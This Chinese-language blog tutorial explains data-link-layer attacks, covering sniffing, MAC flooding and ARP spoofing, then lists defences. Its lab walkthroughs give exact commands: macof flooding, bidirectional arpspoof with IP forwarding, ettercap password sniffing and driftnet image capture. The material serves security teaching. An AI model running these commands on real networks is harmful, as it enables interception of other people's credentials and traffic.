OSI国际组织定义的网络标准是如此,但是不是应用最为广泛的分层
TCP/IP四层是目前世界上应用最为广泛的协议(但也是基于七层进行了简化)
下面的攻击&防范主要针对TCP/IP四层模型展开
0x2、数据链路层
一、网络嗅探(也可以叫中间人攻击)
利用计算机网络接口截获其他计算机数据报的手段,属于被动攻击
网络嗅探的工作原理与网卡的工作模式有关:
广播模式:网卡能接收所有的广播数据帧;
多播模式:网卡能接收所有的多播数据帧;
直接模式:网卡只接收目的地址与本机MAC地址匹配的数据帧;
混杂模式:网卡对数据帧中的地址不检查,接收流经网卡的全部数据帧;
常见的工具就是Wireshark(前称Ethereal)kali自带大部分用来分析使用
同一局域网(无论是有线还是无线网络)如果要抓取其他设备的数据包,需要满足两个条件:
1、通过端口镜像或者ARP嗅探,成功将数据流引到自己的网卡;
2、嗅探网卡开启了混杂模式;
共享式以太网:
集线器、中继器:目前已经被淘汰
由于不需要MAC地址匹配所以能抓取局域网其他设备数据包
交换式以太网:
交换机中有MAC-PORT(mac地址和物理端口配对表),要进行MAC地址匹配
就算网卡设置成混杂模式,也只能看到发给自己的数据包
二、负载攻击
由于交换机不能阻止广播信息
利用广播信息形成广播风暴
三、MAC协议
介绍:
MAC协议全称Media Access CONtrol(媒体访问控制子层)
该协议位于OSI七层协议中数据链路层的下半部分
主要负责控制与连接物理层的物理介质
1、格式和特点
MAC协议可以实现单播、多播、广播
没有验证和加密的功能,只有FCS帧序列检测的功能
2、MAC的攻击
(1)、基于头部的攻击--协议与标准冲突
目的地址改为广播地址、源地址和目的地址相同、数据字段大小不在46~1500之间
(2)、基于验证的攻击
计算机不会对收到的MAC的源地址进行校验,所以可以假冒别人
(3)、基于网络流量的攻击
会被流量嗅探、也会遭到负载攻击
四、ARP协议
介绍:
地址解析协议,即ARP(Address Resolution Protocol)
是根据IP地址获取物理地址的一个TCP/IP协议
1、格式和特点
广播请求(目的MAC地址全f,目的IP地址全1)单播应答
通信过程没有验证
2、ARP广播雪崩攻击
大量肉鸡发送ARP广播请求给目标网络主机
(可以一台主机伪造多个源地址||寻找多台目的地址||控制多台不同的主机)
导致网络设备发送大量的ARP广播请求在网络中寻找主机的MAC地址,消耗网络资源
3、ARP欺骗
主机不会验证自己是否发过ARP请求,也不会验证这个ARP应答是否可靠
ARP扫描攻击:
实际上是ARP攻击的准备,查找网络中存活的主机并获取他们的MAC和IP等信息
但由于要对每一台主机都发送正常的ARP请求,还是会消耗很多的网络资源
ARP中间人攻击:
在扫描获取网络中主机的信息后,攻击者同时向通信双方发送ARP响应
伪造信息告诉对方自己是他们的目标MAC
ARP断网攻击:
当被攻击网络中受害机想连通外网(不同网段)时,攻击机向受害机发送ARP响应
告诉对方一个错误的网关MAC地址导致上不了网
这个“错误的网络MAC地址”是攻击者自己的时候,就是中间人攻击了
不过此时攻击者只能监听到受害机和外网(不同网段)的通信
当攻击者收到受害机发来的信息但不转发出去的话,就也是断网攻击
4、ARP欺骗的防护措施
在交换机上配置静态的ARP表,连接交换机时要进行手动去绑定
也可以使用具有ARP防护功能的路由器
五、MAC泛洪攻击演示
攻击原理:
交换机中存在着一张记录着MAC地址的表,为了完成数据的快速转发,该表具有自动学习机制
泛洪攻击即是攻击者利用这种学习机制不断发送不同的MAC地址给交换机
充满整个MAC表,此时交换机只能进行数据广播,攻击者凭此获得信息
实验环境:
kali+PC1+FTPserver
使用工具:
macof(kali2020不自带需安装)+Wireshark(kali2020自带)
攻击思路:
使用kali攻击使MAC地址表被填满,之后所有的流量就会以广播,再进行嗅探
1
#安装(macof是Dsniff套装工具集的成员)
2
sudo apt install dsniff
3
#使用
4
macof [-i interface] [-s src] [-d dst] [-e tha] [-x sport] [-y dport] [-n times]
5
-i interface指定要发送的接口。
6
-s src指定源IP地址。
7
-d dst指定目标IP地址。
8
-e 指定目标硬件地址。
9
-x sport指定TCP源端口。
10
-y dport指定TCP目标端口。
11
-n times指定要发送的数据包数。
第一步:kali中开启Wireshark抓包准备
第二部:PC1登陆FTP准备
第二步:kali中使用macof发送大量数据包
1
sudo macof -i ech0
第三步:开启wireshark监听
第四步:PC1登陆FTPserver,停止抓包查看明文数据
总结:
实际中很难实现,因为主机的MAC地址和对应端口已经记录在交换机的MAC表中
而交换机的MAC表是在内存中记载着
由于交换机的机制(一个端口可以对应多个MAC地址)限制
很难去覆盖原来的MAC表,这里仅供原理参考(基本不去利用)
六、ARP欺骗攻击演示
攻击原理:
主机A广播ARP请求,询问IP地址为192.168.239.x的主机的MAC地址
192.168.239.x的主机收到广播帧,发出ARP应答
告诉主机A自己是192.168.239.x,MAC地址是aa:aa:aa:aa:aa:aa
单向ARP欺骗多用于恶意断网,而双向的ARP欺骗就能达到隐蔽的中间人的效果
实验环境:
1
kali(attack)IP(192.168.239.128)MAC(00:0c:29:c3:02:fa)
2
3
kali的克隆(client)IP(192.168.239.136)MAC(00:0c:29:12:11:eb)
4
5
window 10(client)IP(192.168.239.1)MAC(00-50-56-C0-00-08)
攻击思路:
kali(attack)向kali的克隆(client)发送一条ARP 数据包,window 10(client)为:的地址是AA:BB:CC:DD:EE:FF 其实MAC地址是kali(attack)自己的地址。也就是说,kali(attack) 对 kali的克隆(client)说:我才是window 10(client),于是kali的克隆(client) 把向c发送的数据都发给kali(attack)了,kali(attack)得到数据后就可以为所欲为了,可以直接丢弃,那么通讯中断,如果同时也欺骗window 10(client),kali(attack)进行转发给window 10(client),那么形成回路,kali(attack)当了个中间人,监视kali的克隆(client)和window 10(client)的通信
1
#arpspoof也是dsniff的一个组件
2
#使用
3
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
4
-i 用来指定网卡名称,可以使用ifconfig命令来查看网卡名称。
5
-c 用来恢复受害者主机的ARP缓存表。
6
-t 用来指定目标主机即受害者IP。
7
host:将要伪装的主机IP。
8
-r 使用该选项代表双向欺骗。
9
#这里也可以使用科来数据包生成器来进行欺骗攻击下载地址:
10
http://www.colasoft.com.cn/download/packet-builder.php
第一步:查看arp缓存表
kali(attack)
kali的克隆(client)
window 10(client)
第二步:kali(attack)开启wireshark
第三步:kali(attack)实施双向欺骗
先在kali(attack)中开启端口转发功能
1
echo 1 >/proc/sys/net/ipv4/ip_forward
2
cat /proc/sys/net/ipv4/ip_forward
3
#这里只是临时生效,重启即失效
4
#开启IP转发后 流量会经过kali(attack)的主机而后再去到目标所以这时开启arpspoof
5
#那么目标就不会断网,因为流量通过了kali(attack)主机那么我们就可以拦截相关数据
6
sudo arpspoof -t 192.168.239.136 192.168.239.1 -i eth0 -c own
7
#如果-c参数为own,在退出时使用本机MAC地址作为以太网头部的SRC
8
#发送给受害者主机以恢复其ARP缓存表,即告诉受害者主机正确的网关MAC地址
查看window 10(client)和kali的克隆(client)的ARP缓存表
window ARP缓存更新有点慢(可以使用arp -d清理一下缓存表)
第四步:数据包查看分析
第五步:密码嗅探和窃取图片
1
#密码嗅探
2
sudo ettercap -Tq -i eth0
1
#窃取图片
2
#kali 2020不自带需要安装
3
sudo apt-get install driftnet -y
4
sudo driftnet -i eth0
总结:
arp欺骗攻击由于利用简单,实现较为容易
此种攻击方式有一定的历史和发展演变
虽然对arp欺骗的欺骗原理有着清晰的认识
但是对于当前多种多样的关于arp攻击的防御方案的研究却是任重而道远
七、ARP欺骗防御
1、设置静态的arp缓存
使用arp -s命令添加静态arp缓存记录
若攻击者向主机发送arp应答报文,目标机接收报文后并不会刷新arp缓存表
但存在着以下局限性:
a:需要网络管理员手动设定静态arp缓存,这无疑增加了网管员的工作量,而且不够灵活较为刻板。当主机自动获取到另一个ip地址或者更换新的网卡后,网络管理员不得不重新设定ip-mac绑定
b:攻击者可以对arp病毒进行优化,通过相应的代码,破坏网络管理员在各种终端设备上所做的ip-mac绑定
c:arp静态缓存的主要作用是使相关的主机与路由对于有关的arp数据包不予理会,但攻击者仍然可以通过泛洪的方式发出数据包,这样就会造成内网拥塞,影响数据的正常传输
2、使用arp服务器
在arp服务器中保存局域网服务器中各主机的ip地址和mac地址的映射信息
同时禁用各主机的arp应答,保留服务器对arp请求的应答
它的致命缺点就是一定要保证arp服务器的安全
不然arp服务器一旦被攻陷,后果不堪设想
3、划分虚拟局域网(vlan)和端口绑定
根据arp欺骗不会发生跨网段攻击的特点,可以将网络划分为多个网段
优点就是能缩小arp欺骗的攻击范围,缺点是不够灵活,不能避免网关遭受攻击
如果网关沦陷,同样会造成大面积的掉线和网络瘫痪
这种方法也会大幅度增加网络设备的成本
4、删除windows系统中的npptools.dll动态连接库
主要原因是因为它容易受到arp欺骗病毒的攻击
方法是在安全模式下,删除windows\system32\npptools.dll文件
然后新建一个零字节的文件,保存模式为只读模式,以免被覆盖
5、采用arp防火墙
现在很多杀毒软件制造商都设计出了个人主机端的arp防火墙模块
该模块也是通过绑定主机和网关等其他方式,来避免遭受攻击者所冒充的家网关攻击
在一定程度上可以防御arp欺骗攻击
6、对数据包进行加密处理
在arp攻击中,攻击者可以截获两台主机之间的数据包
里面可能包含了我们的用户名密码等一些隐私的信息
那么我们可以通过对这些数据进行加密处理
这样即便是攻击者拿到数据,也难以阅读,修改其内容
近期持续更新,网络协议的攻击文章,欢迎关注
声明: 如需转载,请联系作者 请勿利用文章内的相关技术从事非法测试 如因此产生一切不良后果与文章作者和本公众号无关